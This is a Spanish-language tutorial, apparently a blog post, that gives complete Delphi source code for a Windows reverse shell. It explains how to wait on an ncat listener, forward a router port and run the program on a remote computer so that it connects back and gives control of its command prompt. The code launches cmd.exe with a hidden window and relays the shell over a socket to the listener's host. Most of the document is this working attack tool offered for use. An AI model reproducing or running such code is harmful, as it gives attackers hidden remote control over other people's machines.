Shell inversa con Delphi

El siguiente código muestra como crear un shell inversa, es decir, si ejecutamos este programa en un ordenador remoto intentara conectarse con nosotros para darnos acceso remoto a la shell.

Su funcionamiento es sencillo, primero tenemos que prepara el servidor, por ejemplo usando ncat:

ncat -l 55555

De esta manera ncat se queda esperando en el puerto 55555 a que nuestro programa establezca una conexión. Si el ordenador remoto se encuentra fuera de nuestra red local también tendremos que configurar nuestro router para que redirija ese puerto hacia nuestro equipo.

Ahora solo tenemos que ejecutar nuestro programa en el ordenador remoto indicándole nuestra ip (para probar podemos usar la local 127.0.0.1) y el puerto que debe usar:

rshell 127.0.0.1 55555

El programa entonces se conectara y desde el ncat podremos manejar la consola remota como si la tuviéramos delante de nosotros. Una vez que terminemos de utilizarla mandaremos el comando "Exit" para que la shell se cierre y la conexión se corte.

Ahora el código:

program rshell;
 
{$APPTYPE CONSOLE}
 
uses
  Windows, SysUtils, Winsock;
 
// Comprueba la version de windows
function IsWinNT: boolean;
var
  Osv: OSVERSIONINFO;
begin
  Osv.dwOSVersionInfoSize:= SizeOf(Osv);
  GetVersionEx(OSV);
  Result:= Osv.dwPlatformId = VER_PLATFORM_WIN32_NT;
end;
 
const
  BUFFERSIZE = 4*1024;
 
// Bucle de lectura/escritura
procedure Loop(S: TSocket);
var
  Si: STARTUPINFO;
  Sa: SECURITY_ATTRIBUTES;
  Sd: SECURITY_DESCRIPTOR;
  Pi: PROCESS_INFORMATION;
  Stdin, Stdout, WStdin, RStdout: THandle;
  Exitcod, Bread, Avail: Cardinal;
  FDSet: TFDSet;
  TimeVal: TTimeVal;
  Buffer: PAnsiChar;
begin
  if IsWinNT then
  begin
    InitializeSecurityDescriptor(@Sd, SECURITY_DESCRIPTOR_REVISION);
    SetSecurityDescriptorDacl(@Sd, TRUE, nil, FALSE);
    Sa.lpSecurityDescriptor:= @Sd;
  end else
    Sa.lpSecurityDescriptor:= nil;
  Sa.nLength:= SizeOf(SECURITY_ATTRIBUTES);
  Sa.bInheritHandle := TRUE;
  // Creamos la tuberia de entrada
  if CreatePipe(Stdin, WStdin, @Sa, 0) then
  begin
    // Creamos la tuberia de salida
    if CreatePipe(RStdout, Stdout, @Sa, 0) then
    begin
      GetStartupInfo(Si);
      with Si do
      begin
        dwFlags:= STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
        wShowWindow:= SW_HIDE;
        // Indicamos que tuberias debe de usar el proceso
        hStdOutput:= Stdout;
        hStdError:= Stdout;
        hStdInput:= Stdin;
      end;
      // Reservamos memoria para el buffer
      GetMem(Buffer,BUFFERSIZE);
      try
        Fillchar(Buffer^, BUFFERSIZE, #0);
        // Obtenemos la ruta de la shell
        GetEnvironmentVariable('COMSPEC', Buffer, BUFFERSIZE - 1);
        // Ejecutamos la shell
        if CreateProcess(nil, Buffer, nil, nil, TRUE, CREATE_NEW_CONSOLE, nil,
          nil, Si, Pi) then
        begin
          repeat
            // Comprobamos si hay algo que leer de la shell
            PeekNamedPipe(RStdout, Buffer, BUFFERSIZE-1, @Bread, @Avail, nil);
            if bread > 0 then
            begin
              Fillchar(Buffer^, BUFFERSIZE, #0);
              // Leemos la shell
              ReadFile(RStdout, Buffer^, Bread, Bread, nil);
              // Escribimos los datos en el socket
              Send(S,Buffer^,Bread,0)
            end;
 
            TimeVal.tv_sec:= 0;
            TimeVal.tv_usec:= 10;
            FD_ZERO(FDSet);
            FD_SET(S, FDSet);
            // Comprobamos si hay algo que leer en el socket
            if Select(0, @FDSet, nil, nil, @TimeVal) > 0 then
            begin
              // Leemos los datos del socket
              BRead:= Recv(S, Buffer^, BUFFERSIZE-1, 0);
              if (BRead <> Cardinal(SOCKET_ERROR)) and (BRead > 0) then
                // y los escribimos en la shell
                WriteFile(WStdin,Buffer^,Bread,Avail,nil);
            end;
 
            // Comprobamos si se ha cerrado la shell
            GetExitCodeProcess(Pi.hProcess, Exitcod);
          until (Exitcod <> STILL_ACTIVE) and (Bread = 0);
        end;
      finally
        // Liberamos la memoria reservada
        FreeMem(Buffer);
      end;
      // Cerramos la tuberia de salida
      CloseHandle(RStdout);
      CloseHandle(Stdout);
    end;
    // Cerramos la tuberia de entrada
    CloseHandle(Stdin);
    CloseHandle(WStdin);
  end;
end;
 
// Estable la conexion y devuelve un socket
function Conectar(Servidor: AnsiString; Puerto: Word): TSocket;
var
  Address: u_long;
  HostEnt: phostent;
  Addr: sockaddr_in;
begin
  Result:= INVALID_SOCKET;
  //Compruebo si se una direccion ip
  Address:= inet_addr(PAnsiChar(Servidor));
  if Address = INADDR_NONE then
  begin
    // Si no es una ip, intento resolver el nombre
    HostEnt:= gethostbyname(PAnsiChar(Servidor));
    if HostEnt <> nil then
      Address:= PInAddr(HostEnt.h_addr_list^)^.S_addr;
  end;
  // Si tengo una ip valida
  if Address <> INADDR_NONE then
  begin
    // Creo un socket
    Result:= Socket(AF_INET, SOCK_STREAM, 0);
    if Result <> INVALID_SOCKET then
    begin
      Addr.sin_family:= AF_INET;
      Addr.sin_addr.S_addr:= Address;
      Addr.sin_port:= htons(Puerto);
      // Conecto el socket a la direccion ip
      if Connect(Result, Addr, Sizeof(Addr)) = SOCKET_ERROR then
      begin
        // Si algo va mal cierro el socket
        CloseSocket(Result);
        Result:= INVALID_SOCKET;
      end;
    end;
  end;
end;
 
var
  S: TSocket;
  WSAData: TWSADATA;
begin
  // Iniciamos las librerias
  if WSAStartup(MAKEWORD(1, 1), WSADATA) = 0 then
  try
    // Intentamos conectarnos al servidor
    S:= Conectar(ParamStr(1),StrToIntDef(ParamStr(2),55555));
    if S <> INVALID_SOCKET then
    try
      Loop(S);
    finally
      // Cerramos el socket
      CloseSocket(S);
    end;
  finally
    // Limpiamos todo
    WSACleanup;  
  end;
end.

Enlaces de interés:
http://nmap.org/ncat/